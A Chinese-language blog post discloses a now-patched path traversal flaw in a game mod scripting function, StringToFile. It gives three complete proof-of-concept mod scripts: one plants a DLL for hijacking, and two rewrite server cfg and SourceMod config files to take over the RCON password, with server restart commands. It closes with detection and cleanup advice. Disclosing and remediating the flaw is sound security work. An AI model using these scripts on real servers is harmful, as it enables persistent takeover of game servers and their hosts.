此漏洞已经提交给了开发者.开发者已经确认,官方已经更新补丁


我向官方开放人员提交后,已经修复了,现在分享下入侵原理.底部有检测和修复说明

 

 

漏洞原因

 

StringToFile

mod里面这个函数,不限制写入目录,可以向上级,上上级.甚至你系统盘文件里面写内容.

向官方反馈的时候我并没有做的很复杂.只是演示了攻击游戏相关.实际可以严重到攻击系统.

因为你可以写一个bat/vbs/ps1脚本写到开机启动文件夹.

 

利用1

 

mod代码如下, 游戏运行这个mod的挑战后,会向游戏目录写入一个propsys.dll

如果是服务器,还会向服务器发送一个重启服务器指令.

 

重启你的服务器程序,或者客户端程序之后,你会发现无法启动了,会报错.

 

 

mod代码

function OnGameplayStart(){



	// 1.   Dll Hijack :)
	//-------------- [vstdlib.dll , tier0.dll , steam_api.dll  , version.dll ,ghostinj.dll ]   more.....

	//-------------- write dll file . Maybe... Try binary files 
	StringToFile("../../../propsys.dll","test:\nhttps://steamcommunity.com/id/yake1234\n\0");



	//--------------is dedicated server
	if (IsDedicatedServer()){
	
		//--------------restart server
		SendToServerConsole("_restart");
		
		//--------------Shut down the server process
		//SendToServerConsole("exit");

	}
	


	return;
}

 

原理

 

这是DLL劫持.

你可以简单测试.

直接在游戏根目录放一个空的文本改名字 "propsys.dll" .

在游戏根目录放入一个propsys.dll 文件后,你会发现你服务器/客户端无法运行,会报错.除非你删除这个propsys.dll文件

 

让你游戏,或者服务器只是无法运行意义不大,无法运行也是因为放入的这个DLL这不是标准的二进制文件.

但是,它MOD可以写一个真的dll文件,如果放入一个标准的劫持的二进制文件. 那就是另外一个画面了.能运行.你无感知,甚至可以写入病毒DLL.

你服务器,客户端一运行就会自动加载这个DLL.不影响你原来程序运行情况下,执行恶意代码.这个入侵就不但是游戏级别了,能攻击到系统级.

 

 

 

 

博文扩展阅读

我之前做过一个劫持DLL生成器 --> [自制软件] DLL自动劫持生成器

软件原理和代码在这篇博文有写 --> 劫持DLL自动注入(delphi)

另外 [简单跳过 微雕管家 授权 无限试用 ] 也是利用这种劫持实现的.

 

 

利用2

写入cfg文件,主要用于入侵服务器.(客户端也受影响,不过意义不大.)

 

 

漏洞原理

服务器进程运行后会自动执行cfg目录的设置文件

大致顺序如下.

 

autoexec.cfg -> server.cfg (你开服配置文件)  --> game.cfg

 

game.cfg 载入顺序还是在你开服配置文件后面 ,能覆盖你之前的设置.(服务器名字,rcon密码)

(本来我前面是测试修改autoexec.cfg的,结果发现服务器配置文件在后面,会覆盖.,所以我选了game.cfg)

 

这个一次入侵,永久生效.除非你发现,手动修改回去.

 

 

MOD执行过程

1.读取 game.cfg

2.在 game.cfg 后面插入一行代码 exec hack.cfg 文件.

3.然后将入侵指令写入 hack.cfg

4.MOD发送控制台指令,重启服务器

 

重启服务器后会自动运行game.cfg文件.

game.cfg 会执行 "exec hack.cfg" 自动加载hack.cfg文件.

 

后面的设置会覆盖你前面的设置,比如你server.cfg 指定了服务器名字端口,rcon密码.

都会被后加载的hack.cfg覆盖.

这种入侵也是无感知的.

注意拿到你服务器RCON密码后,相当于拿下你服务器.

 

 

我下面的代码中,写入的hack.cfg将你服务器rcon密码修改为指定的了.

就可以通过RCON远程控制你服务器.

 

 

MOD代码

 

function OnGameplayStart(){

	
	
	// 2.   Change Autoexec.cfg
	
	
	//--------------is dedicated server
	if (IsDedicatedServer()){	
	
	

		local	old_gamecfg_str = null;
		
		//-------------- read old file
		
		old_gamecfg_str  =  FileToString("../../cfg/game.cfg")
		
		//-------------- add str "exec hack.cfg"
		old_gamecfg_str =  old_gamecfg_str + "//-----test----\n\nexec hack.cfg\n";

		//-------------- write game.cfg file 
		StringToFile("../../cfg/game.cfg",old_gamecfg_str);
		
		
		
		
		//-------------- write hack.cfg file
		//-------------- Change rcon_password
		
		//-------------- hahahahahahhahah
		StringToFile("../../cfg/hack.cfg","rcon_password '123123ddd'\n\0");
		
		//  it like   SendToServerConsole("rcon_password '123123ddd'");
	

	
		//--------------restart server
		SendToServerConsole("_restart");
		
		//--------------Shut down the server process
		//SendToServerConsole("exit");

	}
	
	return;
}

 

 

 

利用3

 

这个利用是在2的基础上扩展出来的.

主要入侵有起源mod的服务器.

一般服务器都装了.

而且这个风险比2高.

 

原理

cfg/sourcemod/sourcemod.cfg 这个目录是起源mod配置文件.

这个是实际命令列表文件.

在每次服务器启动/重启任务/切换地图 的时候会自动加载.并执行里面的指令.

这个权限是超级管理员级别.能支持sm指令.添加管理员,修改服务器参数.

 

入侵代码只需要在后面加入命令就会永久生效,直到你发现..

 

 

mod代码

function OnGameplayStart(){


	
	//--------------is dedicated server
	if (IsDedicatedServer()){		

		// 3.   Change sourcemod.cfg
		//If the server has sourceMod installed
		
		
		//-------------- write hack.cfg file
		//-------------- Change rcon_password
		//-------------- 
		StringToFile("../../cfg/hack.cfg","rcon_password '123123ddd'\n\0");	
		


		local	old_sourcemod_str = null;
		//--------------read old file
		old_sourcemod_str  =  FileToString("../../cfg/sourcemod/sourcemod.cfg")
		
		//--------------add    sm_cvar asw_god 1 
		//--------------add    sm_rcon hostname [hack]hahahahaha
		//--------------add    sm_rcon sm_execcfg hack.cfg
		old_sourcemod_str  =  old_sourcemod_str + "\n\n\n\nsm_cvar asw_god 1\nsm_rcon hostname [hack]hahahahaha\nsm_rcon sm_execcfg hack.cfg\n\0"
		
		
		//--------------write file
		StringToFile("../../cfg/sourcemod/sourcemod.cfg",old_sourcemod_str);
		


		//Restart mission and take effect
		Director.RestartMission();
	
	}
	
	return;
}

 

 

 

修复

普通客户端问题不大.主要是服务器端.

 

官方已经修复这个问题,但是已经被入侵的文件是不会自动还原的,还是需要手动排除下.

 

 

这个函数已经很多年了.我相信我肯定不是第一个发现的.

开服时间长的朋友注意了.

 

我建议早期运行的服务器都检测下几个目录.

1, 游戏根目录,还有bin目录看看有没有奇怪的DLL在里面. (对比你游戏客户端有啥不同.)

2,cfg目录还有 cfg/sourcemod 目录 ,看看设置是不是你原来的设置.

3,看看起源MOD目录 里面管理员设置,是不是加了别人在里面.